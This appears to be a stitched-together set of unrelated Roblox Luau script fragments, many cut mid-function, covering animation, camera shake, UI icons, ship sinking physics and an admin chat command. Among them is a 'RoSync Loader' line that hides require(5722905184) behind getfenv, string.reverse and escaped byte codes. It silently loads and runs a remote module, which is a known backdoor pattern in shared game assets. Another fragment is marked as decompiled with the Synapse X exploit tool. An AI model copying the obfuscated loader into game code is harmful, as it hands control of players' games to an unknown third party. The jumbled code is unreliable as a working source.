--MoverL1 = script.Parent.LowToneSolenoid.MovingParts.Mover.PrismaticConstraint --MoverL2 = script.Parent.HighToneSolenoid.MovingParts.Mover.PrismaticConstraint
A = .061 B = 1.6 C = 2 SolenoidSound1 = script.Parent.Housing.SolenoidSound1 SolenoidSound2 = script.Parent.Housing.SolenoidSound2
-- Preload animations
function playAnimation(animName: string, transitionTime: number, humanoid: Humanoid) local roll = Rand:NextInteger(1, animTable[animName].totalWeight) local idx = 1 while roll > animTable[animName][idx].weight do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- switch animation if anim ~= currentAnimInstance then if currentAnimTrack ~= nil then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) currentAnimTrack.Priority = Enum.AnimationPriority.Core -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if currentAnimKeyframeHandler ~= nil then currentAnimKeyframeHandler:Disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:Connect(keyFrameReachedFunc) end end
--Eww, theres some kind of weird brown bug on my screen, i would flick it away but i'm afraid i'd smash it and get weird bug juices all over my screen...
if string.sub(msg,1,5) == "part/" then local danumber1 = nil local danumber2 = nil for i = 6,100 do if string.sub(msg,i,i) == "/" then danumber1 = i break elseif string.sub(msg,i,i) == "" then break end end if danumber1 == nil then return end for i =danumber1 + 1,danumber1 + 100 do if string.sub(msg,i,i) == "/" then danumber2 = i break elseif string.sub(msg,i,i) == "" then break end end if danumber2 == nil then return end if speaker.Character ~= nil then local head = speaker.Character:FindFirstChild("Head") if head ~= nil then local part = Instance.new("Part") part.Size = Vector3.new(string.sub(msg,6,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1)) part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0) part.Name = "Person299's Admin Command Script V2 Part thingy" part.Parent = game.Workspace end end end
-- upstream: https://github.com/facebook/react/blob/2ba43edc2675380a0f2222f351475bf9d750c6a9/packages/shared/ReactInstanceMap.js --!strict --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. ]]
-- Initialize lighting tool
local LightingTool = require(CoreTools:WaitForChild 'Lighting') Core.AssignHotkey('U', Core.Support.Call(Core.EquipTool, LightingTool)); Core.Dock.AddToolButton(Core.Assets.LightingIcon, 'U', LightingTool, 'LightingInfo');
-- METHODS
function IconController.setGameTheme(theme) IconController.gameTheme = theme local icons = IconController.getIcons() for _, icon in pairs(icons) do icon:setTheme(theme) end end function IconController.setDisplayOrder(value) value = tonumber(value) or TopbarPlusGui.DisplayOrder TopbarPlusGui.DisplayOrder = value end IconController.setDisplayOrder(10) function IconController.getIcons() local allIcons = {} for otherIcon, _ in pairs(topbarIcons) do table.insert(allIcons, otherIcon) end return allIcons end function IconController.getIcon(name) for otherIcon, _ in pairs(topbarIcons) do if otherIcon.name == name then return otherIcon end end return false end function IconController.canShowIconOnTopbar(icon) if (icon.enabled == true or icon.accountForWhenDisabled) and icon.presentOnTopbar then return true end return false end function IconController.getMenuOffset(icon) local alignment = icon:get("alignment") local alignmentGap = IconController[alignment.."Gap"] local iconSize = icon:get("iconSize") or UDim2.new(0, 32, 0, 32) local sizeX = iconSize.X.Offset local iconWidthAndGap = (sizeX + alignmentGap) local extendLeft = 0 local extendRight = 0 local additionalRight = 0 if icon.menuOpen then local menuSize = icon:get("menuSize") local menuSizeXOffset = menuSize.X.Offset local direction = icon:_getMenuDirection() if direction == "right" then extendRight += menuSizeXOffset + alignmentGap/6--2 elseif direction == "left" then extendLeft = menuSizeXOffset + 4 extendRight += alignmentGap/3--4 additionalRight = menuSizeXOffset end end return extendLeft, extendRight, additionalRight end
--print("Motion blur disabled")
script.Disabled = true end if UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel1 or UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel2 or UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel3 or UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel4 or UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel5 then
--Variables
local Hit = script.Parent.Parent.Humanoid:LoadAnimation(script.Parent.HitAnim) local Trace = script.Parent.Katana_Model.Trace local Effects = script.Parent.Effects local HitBox = script.Parent.Katana_Model.HitBox local CoolDown = script.Parent.Values.CoolDown local Activo = script.Parent.Values.Activo
-- Thanks for downloading my system! Here are some tips on the installation procces! -- Ungroup the models in the place where the name tells you to. -- There are 2 Configs, 1 for the charges and 1 for general stuff. -- The Charges one is called "ChargeConfig" and is located in ReplicatedStorage. -- The general one is located in workspace.CuffSystem. -- If you find any bugs or need help in general contact me on Roblox or Discord. -- You move the JailSpawn to the location of your jail.
--[[ cameraShakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime, fadeOutTime) --]]
local CameraShakeInstance = {} CameraShakeInstance.__index = CameraShakeInstance local V3 = Vector3.new local NOISE = math.noise CameraShakeInstance.CameraShakeState = { FadingIn = 0; FadingOut = 1; Sustained = 2; Inactive = 3; } function CameraShakeInstance.new(magnitude, roughness, fadeInTime, fadeOutTime) if (fadeInTime == nil) then fadeInTime = 0 end if (fadeOutTime == nil) then fadeOutTime = 0 end assert(type(magnitude) == "number", "Magnitude must be a number") assert(type(roughness) == "number", "Roughness must be a number") assert(type(fadeInTime) == "number", "FadeInTime must be a number") assert(type(fadeOutTime) == "number", "FadeOutTime must be a number") local self = setmetatable({ Magnitude = magnitude; Roughness = roughness; PositionInfluence = V3(); RotationInfluence = V3(); DeleteOnInactive = true; roughMod = 1; magnMod = 1; fadeOutDuration = fadeOutTime; fadeInDuration = fadeInTime; sustain = (fadeInTime > 0); currentFadeTime = (fadeInTime > 0 and 0 or 1); tick = Random.new():NextNumber(-100, 100); _camShakeInstance = true; }, CameraShakeInstance) return self end function CameraShakeInstance:UpdateShake(dt) local _tick = self.tick local currentFadeTime = self.currentFadeTime local offset = V3( NOISE(_tick, 0) * 0.5, NOISE(0, _tick) * 0.5, NOISE(_tick, _tick) * 0.5 ) if (self.fadeInDuration > 0 and self.sustain) then if (currentFadeTime < 1) then currentFadeTime = currentFadeTime + (dt / self.fadeInDuration) elseif (self.fadeOutDuration > 0) then self.sustain = false end end if (not self.sustain) then currentFadeTime = currentFadeTime - (dt / self.fadeOutDuration) end if (self.sustain) then self.tick = _tick + (dt * self.Roughness * self.roughMod) else self.tick = _tick + (dt * self.Roughness * self.roughMod * currentFadeTime) end self.currentFadeTime = currentFadeTime return offset * self.Magnitude * self.magnMod * currentFadeTime end function CameraShakeInstance:StartFadeOut(fadeOutTime) if (fadeOutTime == 0) then self.currentFadeTime = 0 end self.fadeOutDuration = fadeOutTime self.fadeInDuration = 0 self.sustain = false end function CameraShakeInstance:StartFadeIn(fadeInTime) if (fadeInTime == 0) then self.currentFadeTime = 1 end self.fadeInDuration = fadeInTime or self.fadeInDuration self.fadeOutDuration = 0 self.sustain = true end function CameraShakeInstance:GetScaleRoughness() return self.roughMod end function CameraShakeInstance:SetScaleRoughness(v) self.roughMod = v end function CameraShakeInstance:GetScaleMagnitude() return self.magnMod end function CameraShakeInstance:SetScaleMagnitude(v) self.magnMod = v end function CameraShakeInstance:GetNormalizedFadeTime() return self.currentFadeTime end function CameraShakeInstance:IsShaking() return (self.currentFadeTime > 0 or self.sustain) end function CameraShakeInstance:IsFadingOut() return ((not self.sustain) and self.currentFadeTime > 0) end function CameraShakeInstance:IsFadingIn() return (self.currentFadeTime < 1 and self.sustain and self.fadeInDuration > 0) end function CameraShakeInstance:GetState() if (self:IsFadingIn()) then return CameraShakeInstance.CameraShakeState.FadingIn elseif (self:IsFadingOut()) then return CameraShakeInstance.CameraShakeState.FadingOut elseif (self:IsShaking()) then return CameraShakeInstance.CameraShakeState.Sustained else return CameraShakeInstance.CameraShakeState.Inactive end end return CameraShakeInstance
---
if script.Parent.Parent.Parent.IsOn.Value then script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.Parent.IsOn.Value then script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.MouseButton1Click:connect(function() if hinge.DesiredAngle == 0 then sound.SoundId = "rbxassetid://278329638" sound:Play() wait(.4) hinge.DesiredAngle = .35 else hinge.DesiredAngle = 0 sound.SoundId = "rbxassetid://278329638" sound:Play() end end)
--[=[ @param class table | (...any) -> any @param ... any @return any Constructs a new object from either the table or function given. If a table is given, the table's `new` function will be called with the given arguments. If a function is given, the function will be called with the given arguments. The result from either of the two options will be added to the Janitor. ```lua local Signal = require(somewhere.Signal) -- All of these are identical: local s = Janitor:Construct(Signal) local s = Janitor:Construct(Signal.new) local s = Janitor:Construct(function() return Signal.new() end) local s = Janitor:Add(Signal.new()) -- Even Roblox instances can be created: local part = Janitor:Construct(Instance, "Part") ``` ]=]
function Janitor:Construct(class, ...) local object = nil local t = type(class) if t == "table" then object = class.new(...) elseif t == "function" then object = class(...) end return self:Add(object) end
--- An expensive way to spawn a function. However, unlike spawn(), it executes on the same frame, and -- unlike coroutines, does not obscure errors -- @module fastSpawn
return function(func, ...) assert(type(func) == "function") local args = {...} local bindable = Instance.new("BindableEvent") bindable.Event:Connect(function() func(unpack(args)) end) bindable:Fire() bindable:Destroy() end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 10 -- cooldown for use of the tool again ZoneModelName = "Death void" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Place in main folder
coding = script.Parent.Coding aud = script.Parent.AudibleCircuit wait(1) if coding.Value == 0 then -- Continuous aud.Value = 1 elseif coding.Value == 1 then -- Temporal while true do for i = 1, 3 do aud.Value = 1 wait(0.5) aud.Value = 0 wait(0.5) end wait(1) end elseif coding.Value == 2 then -- 120 March Time while true do aud.Value = 1 wait(0.25) aud.Value = 0 wait(0.25) end elseif coding.Value == 3 then -- 60 March Time while true do aud.Value = 1 wait(0.5) aud.Value = 0 wait(0.5) end elseif coding.Value == 4 then -- 20 March Time while true do aud.Value = 1 wait(1.5) aud.Value = 0 wait(1.5) end end
-- Setup animation objects
function scriptChildModified(child) local fileList = animNames[child.Name] if (fileList ~= nil) then configureAnimationSet(child.Name, fileList) end end script.ChildAdded:Connect(scriptChildModified) script.ChildRemoved:Connect(scriptChildModified) for name, fileList in pairs(animNames) do configureAnimationSet(name, fileList) end
--[[ Last synced 7/17/2021 08:03 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--local Rigging = WaitForChild(BoatModel, "Rigging")
local ShipData = EasyConfiguration.MakeEasyConfiguration(script) ShipData.AddValue("IntValue", { Name = "MaxShipHealth"; Value = 10000; }) ShipData.AddValue("IntValue", { Name = "ShipHealth"; Value = ShipData.MaxShipHealth; }) local DamageShipFunction = WaitForChild(script, "DamageShip") function DamageShipFunction.OnInvoke(Damage) if tonumber(Damage) then ShipData.ShipHealth = ShipData.ShipHealth - Damage else warn("[ShipScript] - Derp a herp give me a number you idiot") end end local ShipSinkingManager = {} do ShipSinkingManager.Sinking = false local FireList = {} local function DecomposeVector3(Vector) return Vector.X, Vector.Y, Vector.Z end local CannonSets = {} local function GetCannonSets(Model) for _, Item in pairs(Model:GetChildren()) do if Item:IsA("Model") then if Item:FindFirstChild("qCannonManager") then CannonSets[Item] = true --print("Cannon set found", Item) else GetCannonSets(Item) end end end end GetCannonSets(BoatModel) local function IsChildOfCannonSet(Child) for CannonSet, _ in pairs(CannonSets) do if Child:IsDescendantOf(CannonSet) then return true end end return false end function ShipSinkingManager:SetRandomPartsOnFire(PartList) local RelativeLookVector = Seat.CFrame.lookVector ShipSinkingManager.TallestPart = PartList[1] for _, Item in pairs(PartList) do local LargestSize = math.max(DecomposeVector3(Item.Size)) local RelativeYHeight = Seat.CFrame:toObjectSpace(Item.CFrame).p.Y + 10 if Item.Position.Y > ShipSinkingManager.TallestPart.Position.Y then ShipSinkingManager.TallestPart = Item end if LargestSize <= 30 and not Item:FindFirstChild("FlameFromSink") and Item.Transparency < 1 and not IsChildOfCannonSet(Item) and Item ~= PhysicsManager.CenterPart then if math.random() > 0.5 then delay(RelativeYHeight/15 + (math.random() - 0.5)*2, function() local Fire = Instance.new("Fire", Item) Fire.Size = LargestSize + 5 Fire.Name = "FlameFromSink" Fire.Archivable = false Fire.Heat = 0 local Index = #FireList+1 local NewFire = { Fire = Fire; Part = Item; } if math.random() > 0.5 then local Smoke = Instance.new("Smoke", Item) Smoke.Name = "Smoke" Smoke.Archivable = false Smoke.RiseVelocity = 10; local SmokeColorPercent = 0.5 + math.random()*0.3 Smoke.Color = Color3.new(SmokeColorPercent, SmokeColorPercent, SmokeColorPercent) Smoke.Size = LargestSize + 5 Smoke.Opacity = 0.1 NewFire.Smoke = Smoke end FireList[Index] = NewFire end) end end end end local function BreakOffPart(Part) Part:BreakJoints() Part.CanCollide = false local Mass = Part:getMass() local Floater = Make("BodyPosition", { Parent = Part; maxForce = Vector3.new(0, Mass * 9.81 * 20 * (1+Configuration.PercentExtraCargo), 0); position = Vector3.new(0, Configuration.WaterLevel, 0); Archivable = false; }) PhysicsManager:ReduceGravity(Mass) Debris:AddItem(Floater, 5) end function ShipSinkingManager:StartManagingFire() spawn(function() while ShipSinkingManager.Sinking do local Index = 1 while Index <= #FireList do local Fire = FireList[Index] --print(Index, Fire) if Fire.Part.Position.Y <= Configuration.WaterLevel then --print("Removing ", Index) Fire.Fire:Destroy() if Fire.Smoke then Fire.Smoke:Destroy() end table.remove(FireList, Index) else Index = Index + 1 if math.random() <= 0.05 and Fire.Part.Material.Name ~= "Fabric" then BreakOffPart(Fire.Part) end end end wait(0.1) if ShipSinkingManager.TallestPart.Position.Y <= Configuration.WaterLevel - 25 then ShipSinkingManager:CleanUp() end end end) end function ShipSinkingManager:CleanUp() print("Cleaning") ShipSinkingManager.Sinking = false PhysicsManager:Destroy() ControlManager:Destroy() BoatModel:Destroy() end function ShipSinkingManager:Sink() if not ShipSinkingManager.Sinking then ShipSinkingManager.Sinking = true ShipSinkingManager:SetRandomPartsOnFire(PhysicsManager.Parts) PhysicsManager:Sink() ShipSinkingManager:StartManagingFire() end end end ShipData.Get("ShipHealth").Changed:connect(function() if ShipData.ShipHealth <= 0 then ShipSinkingManager:Sink() end end) PhysicsManager = {} do PhysicsManager.Active = true local Parts = {} PhysicsManager.Parts = Parts PhysicsManager.RotateGyro = CFrame.new() -- Used by sinking PhysicsManager.TotalForceReductionInBodyPosition = 1 -- Er... not a total, but a uh... running percentage? CallOnChildren(BoatModel, function(Part) if Part:IsA("BasePart") then Parts[#Parts+1] = Part end end) -- Force = Mass * Acceleration local CenterOfMass, TotalMass = GetCenterOfMass(Parts) local CenterPart = Instance.new("Part", BoatModel) CenterPart.Anchored = true; CenterPart.Name = "CenterPart"; CenterPart.CanCollide = false; CenterPart.Archivable = false; CenterPart.FormFactor = "Custom"; CenterPart.Size = Vector3.new(0.2, 0.2, 0.2) CenterPart.Transparency = 1 CenterPart.CFrame = GetRotationInXZPlane(Seat.CFrame - Seat.CFrame.p) + CenterOfMass PhysicsManager.CenterPart = CenterPart TotalMass = TotalMass + CenterPart:GetMass() local BodyPosition = Instance.new("BodyPosition") BodyPosition.P = 0 --10000000 BodyPosition.D = 0 --10000000 BodyPosition.maxForce = Vector3.new(0, 1 * TotalMass*(1+Configuration.PercentExtraCargo) * 9.81 * 20, 0) --Vector3.new(0, 100000000, 0) BodyPosition.Parent = CenterPart BodyPosition.position = CenterPart.Position--]] BodyPosition.Archivable = false local BodyGyro = Instance.new("BodyGyro") BodyGyro.D = 100 BodyGyro.P = 1000 BodyGyro.maxTorque = Vector3.new(1, 0, 1) * (Configuration.MaxRotationCorrectionAcceleration) --Vector3.new(8999999488, 0, 8999999488) BodyGyro.Parent = CenterPart BodyGyro.cframe = CenterPart.CFrame BodyGyro.Archivable = false local BodyVelocity = Instance.new("BodyVelocity") BodyVelocity.maxForce = Vector3.new(1, 0, 1) * (TotalMass * Configuration.Acceleration) --Vector3.new(1000000, 0, 1000000) BodyVelocity.P = 100 BodyVelocity.Parent = CenterPart local BodyAngularVelocity = Instance.new("BodyAngularVelocity") BodyAngularVelocity.maxTorque = Vector3.new(0, 1*TotalMass * Configuration.TurnAccelerationFactor, 0) BodyAngularVelocity.P = 100 BodyAngularVelocity.Parent = CenterPart BodyAngularVelocity.angularvelocity = Vector3.new() local TiltCoroutine = coroutine.create(function() local BasePosition = BodyPosition.position local Count = tick()%100000 while PhysicsManager.Active do local Delta = coroutine.yield() Count = Count + 0.1*Delta local YRotation = GetRotationInXZPlane(CenterPart.CFrame) local UndoctoredPercentTilt = CenterPart.RotVelocity.Y/Configuration.MaxSpeed/Configuration.TiltRatioFactor -- Because apparently bodyangularvelocity's never get close to the true value. local UndoctoredPercentSpeed = CenterPart.Velocity.magnitude/Configuration.MaxSpeed local UndoctoredPercent = UndoctoredPercentTilt*UndoctoredPercentSpeed local PercentTilt = math.max(0, math.min(1, math.abs(UndoctoredPercent)))*Sign(UndoctoredPercent) local PercentSpeed = math.max(0, math.min(1, UndoctoredPercentSpeed)) local AddedYaw = Configuration.AddedYawOnSpeed * PercentSpeed local NewYawAmount = math.sin(Count)*Configuration.MaxShipYawInRadians*(1-PercentSpeed)+AddedYaw local Yaw = CFrame.Angles(NewYawAmount, 0, 0) local Tilt = CFrame.Angles(0, 0, Configuration.MaxShipTiltInRadians * PercentTilt) BodyGyro.cframe = YRotation * Tilt * Yaw * PhysicsManager.RotateGyro end end) local WaveCoroutine = coroutine.create(function() local BasePosition = BodyPosition.position local Count = tick()%100000 while PhysicsManager.Active do local Delta = coroutine.yield() Count = Count + 0.1*Delta local UndoctoredPercentSpeed = CenterPart.Velocity.magnitude/Configuration.MaxSpeed local PercentSpeed = math.max(0, math.min(1, UndoctoredPercentSpeed)) --print("PercentSpeed", PercentSpeed) local AddedHeightFromSpeed = Configuration.AmplitudeOfWaves * PercentSpeed local WaveHeight = math.sin(Count)*Configuration.AmplitudeOfWaves*(1-PercentSpeed) + AddedHeightFromSpeed -- waves don't effect ships moving fast. BodyPosition.position = BasePosition + Vector3.new(0, WaveHeight, 0) end end) spawn(function() local Delta = 0.1 while PhysicsManager.Active do assert(coroutine.resume(TiltCoroutine, Delta)) assert(coroutine.resume(WaveCoroutine, Delta)) Delta = wait(0.1) end end) function PhysicsManager:ReduceGravity(Mass) BodyPosition.maxForce = BodyPosition.maxForce - Vector3.new(0, Mass*(1+Configuration.PercentExtraCargo) * 9.81 * 20 * PhysicsManager.TotalForceReductionInBodyPosition, 0) end function PhysicsManager:ControlUpdate(Forwards, Turn) Forwards = Forwards or 0 Turn = Turn or 0 BodyVelocity.velocity = CenterPart.CFrame.lookVector * Forwards * Configuration.MaxSpeed BodyAngularVelocity.angularvelocity = Vector3.new(0, Configuration.MaxTurnSpeed * Turn, 0) end function PhysicsManager:StopControlUpdate() BodyVelocity.velocity = Vector3.new() BodyAngularVelocity.angularvelocity = Vector3.new() end function PhysicsManager:Sink() spawn(function() local ChangeInRotationOnSinkX = math.random() * math.pi/720 local ChangeInRotationOnSinkZ = math.random() * math.pi/720 local ChangeInForce = 0.999 local ControlChangeInForce = 0.999 while PhysicsManager.Active do PhysicsManager.TotalForceReductionInBodyPosition = PhysicsManager.TotalForceReductionInBodyPosition * ChangeInForce BodyPosition.maxForce = BodyPosition.maxForce * ChangeInForce ChangeInForce = 1-((1 - ChangeInForce)*0.95) BodyAngularVelocity.maxTorque = BodyAngularVelocity.maxTorque * ControlChangeInForce BodyVelocity.maxForce = BodyVelocity.maxForce * ControlChangeInForce BodyGyro.maxTorque = BodyGyro.maxTorque * ChangeInForce ChangeInRotationOnSinkX = ChangeInRotationOnSinkX * 0.99 ChangeInRotationOnSinkZ = ChangeInRotationOnSinkZ * 0.99 PhysicsManager.RotateGyro = PhysicsManager.RotateGyro * CFrame.Angles(ChangeInRotationOnSinkX, 0, ChangeInRotationOnSinkZ) wait() end end) end function PhysicsManager:Destroy() PhysicsManager.Active = false BodyAngularVelocity:Destroy() BodyGyro:Destroy() BodyVelocity:Destroy() BodyPosition:Destroy() CenterPart:Destroy() end end SeatManager = {} do SeatManager.PlayerChanged = Signal.new() local ControlEndedEvent = WaitForChild(script, "ControlEnded"); local qShipManagerLocal = WaitForChild(script, "qShipManagerLocal") SeatManager.Seat = Seat local ActivePlayerData function SeatManager:GetActivePlayer() return ActivePlayerData and ActivePlayerData.Player or nil end local function DeactivateActivePlayer() if ActivePlayerData then ActivePlayerData:Destroy() ActivePlayerData = nil end end function SeatManager:GetActivePlayer() if ActivePlayerData then return ActivePlayerData.Player else return nil end end local function HandleNewPlayer(Weld, Player) BoatModel.Parent = workspace SeatManager.PlayerChanged:fire() DeactivateActivePlayer() local NewData = {} NewData.Player = Player NewData.Weld = Weld local Script = qShipManagerLocal:Clone() Script.Archivable = false; local Maid = MakeMaid() NewData.Maid = Maid Make("ObjectValue", { Name = "ParentScript"; Value = script; Archivable = false; Parent = Script; }) NewData.Script = Script Maid:GiveTask(function() if Player:IsDescendantOf(game) then ControlEndedEvent:FireClient(Player) Script.Name = "_DeadScript";--]] Script:Destroy() end end)--]] Script.Parent = Player.PlayerGui Script.Disabled = false print("New player -", Player) function NewData:Destroy() Maid:DoCleaning() Maid = nil end ActivePlayerData = NewData end Seat.ChildAdded:connect(function(Weld) if Weld:IsA("Weld") then local Torso = Weld.Part1 if Torso then local Character, Player = GetCharacter(Torso) if Player and CheckCharacter(Player) and Character.Humanoid.Health > 0 then HandleNewPlayer(Weld, Player) end end end end) Seat.ChildRemoved:connect(function(Child) if ActivePlayerData and ActivePlayerData.Weld == Child then --ActivePlayerData.Player.PlayerGui DeactivateActivePlayer() SeatManager.PlayerChanged:fire() end end) end ControlManager = {} do ControlManager.Active = true local MoveEvent = WaitForChild(script, "Move"); local StopEvent = WaitForChild(script, "Stop"); local Forwards local Turn local Updating = false local UpdateCoroutine = coroutine.create(function() while ControlManager.Active do local Delta = wait() while (Forwards or Turn) and SeatManager:GetActivePlayer() do --[[if Forwards then PhysicsManager:Forwards(Delta, Forwards) else PhysicsManager:Forwards(Delta, nil) end if Turn then PhysicsManager:Turn(Delta, Turn) else PhysicsManager:Turn(Delta, Turn) end--]] PhysicsManager:ControlUpdate(Forwards, Turn) Delta = wait() end PhysicsManager:StopControlUpdate() Updating = false coroutine.yield() end end) assert(coroutine.resume(UpdateCoroutine)) local function StartUpdate() if not Updating and ControlManager.Active then Updating = true assert(coroutine.resume(UpdateCoroutine)) end end MoveEvent.OnServerEvent:connect(function(Client, Type) if Client == SeatManager:GetActivePlayer() then if Type == "Forwards" then Forwards = 1 elseif Type == "Backwards" then Forwards = -1 elseif Type == "Left" then Turn = 1 elseif Type == "Right" then Turn = -1 else warn("Unable to handle move event with type `" .. tostring(Type) .. "`") end else warn("Invalid client, cannot move") end end) StopEvent.OnServerEvent:connect(function(Client, Type) if Client == SeatManager:GetActivePlayer() then if Type == "Forwards" or Type == "Backwards" then Forwards = nil elseif Type == "Left" or Type == "Right" then Turn = nil else warn("Unable to handle move event with type `" .. tostring(Type) .. "`") end else warn("Invalid client, cannot move") end end) function ControlManager:Destroy() ControlManager.Active = false end end local WeldManager = {} do local Parts = GetBricks(BoatModel) WeldParts(Parts, PhysicsManager.CenterPart, "ManualWeld") end
-- the Tool, reffered to here as "Block." Do not change it!
Block = script.Parent.Parent.Body -- You CAN change the name in the quotes "Example Tool"
-- Called when any relevant values of GameSettings or LocalPlayer change, forcing re-evalulation of -- current control scheme
function ControlModule:OnComputerMovementModeChange() local controlModule, success = self:SelectComputerMovementModule() if success then self:SwitchToController(controlModule) end end function ControlModule:OnTouchMovementModeChange() local touchModule, success = self:SelectTouchModule() if success then while not self.touchControlFrame do wait() end self:SwitchToController(touchModule) end end function ControlModule:CreateTouchGuiContainer() if self.touchGui then self.touchGui:Destroy() end -- Container for all touch device guis self.touchGui = Instance.new("ScreenGui") self.touchGui.Name = "TouchGui" self.touchGui.ResetOnSpawn = false self.touchGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling self.touchGui.Enabled = self.humanoid ~= nil self.touchControlFrame = Instance.new("Frame") self.touchControlFrame.Name = "TouchControlFrame" self.touchControlFrame.Size = UDim2.new(1, 0, 1, 0) self.touchControlFrame.BackgroundTransparency = 1 self.touchControlFrame.Parent = self.touchGui self.touchGui.Parent = self.playerGui end function ControlModule:GetClickToMoveController() if not self.controllers[ClickToMove] then self.controllers[ClickToMove] = ClickToMove.new(CONTROL_ACTION_PRIORITY) end return self.controllers[ClickToMove] end return ControlModule.new()
--
function CharacterClone.new(character) local self = setmetatable({}, CharacterClone) self.Character = character self.Clone = character:Clone() self.Clone:WaitForChild("Humanoid").DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None self.Lookup = self:GetLookup() return self end
-- end
return end end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Climbing") then moveClimb() return end if (pose == "Seated") then moveSit() return end RightShoulder.MaxVelocity = 0.25 LeftShoulder.MaxVelocity = 0.25 if (pose == "Running") then amplitude = 1 frequency = 9 else amplitude = 0.1 frequency = 1 end desiredAngle = amplitude * math.sin(time*frequency) RightShoulder.DesiredAngle = desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle local tool = getTool() if tool ~= nil then animStringValueObject = getToolAnim(tool) if animStringValueObject ~= nil then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = require(script.Parent:WaitForChild("CameraUtils")); local l__Players__2 = game:GetService("Players"); local v3, v4 = pcall(function() return UserSettings():IsUserFeatureEnabled("UserPortraitPopperFix"); end); local v5 = require(script.Parent:WaitForChild("BaseOcclusion")); local v6 = setmetatable({}, v5); v6.__index = v6; function v6.new() local v7 = setmetatable(v5.new(), v6); v7.camera = nil; v7.cameraSubjectChangeConn = nil; v7.subjectPart = nil; v7.playerCharacters = {}; v7.vehicleParts = {}; v7.lastPopAmount = 0; v7.lastZoomLevel = 0; v7.popperEnabled = false; return v7; end; function v6.GetOcclusionMode(p1) return Enum.DevCameraOcclusionMode.Zoom; end; function v6.Enable(p2, p3) end; function v6.CharacterAdded(p4, p5, p6) p4.playerCharacters[p6] = p5; end; function v6.CharacterRemoving(p7, p8, p9) p7.playerCharacters[p9] = nil; end; local u1 = v3 or v4; function v6.Update(p10, p11, p12, p13) if not p10.popperEnabled then return p12, p13; end; p10.camera = game.Workspace.CurrentCamera; local v8 = p12; local v9 = p13.p; if u1 and p10.subjectPart then v9 = p10.subjectPart.CFrame.p; end; local v10 = {}; for v11, v12 in pairs(p10.playerCharacters) do v10[#v10 + 1] = v12; end; for v13 = 1, #p10.vehicleParts do v10[#v10 + 1] = p10.vehicleParts[v13]; end; local l__CFrame__14 = p10.camera.CFrame; p10.camera.CFrame = p12; p10.camera.Focus = p13; local l__Magnitude__15 = (p12.p - v9).Magnitude; if math.abs(l__Magnitude__15 - p10.lastZoomLevel) > 0.001 then p10.lastPopAmount = 0; end; local v16 = p10.camera:GetLargestCutoffDistance(v10); if v16 < p10.lastPopAmount then v16 = p10.lastPopAmount; end; if v16 > 0 then v8 = p12 + p12.lookVector * v16; p10.lastPopAmount = v16 - 0.3; if p10.lastPopAmount < 0 then p10.lastPopAmount = 0; end; end; p10.lastZoomLevel = l__Magnitude__15; return v8, p13; end; local u2 = { "Humanoid", "VehicleSeat", "SkateboardPlatform" }; function v6.OnCameraSubjectChanged(p14, p15) p14.vehicleParts = {}; p14.lastPopAmount = 0; if p15 then p14.popperEnabled = false; for v17, v18 in pairs(u2) do if p15:IsA(v18) then p14.popperEnabled = true; break; end; end; if p15:IsA("VehicleSeat") then p14.vehicleParts = p15:GetConnectedParts(true); end; if u1 then if p15:IsA("BasePart") then p14.subjectPart = p15; return; end; if p15:IsA("Model") then if p15.PrimaryPart then p14.subjectPart = p15.PrimaryPart; return; else for v19, v20 in pairs(p15:GetChildren()) do if v20:IsA("BasePart") then p14.subjectPart = v20; return; end; end; return; end; elseif p15:IsA("Humanoid") then p14.subjectPart = p15.RootPart; end; end; end; end; return v6;
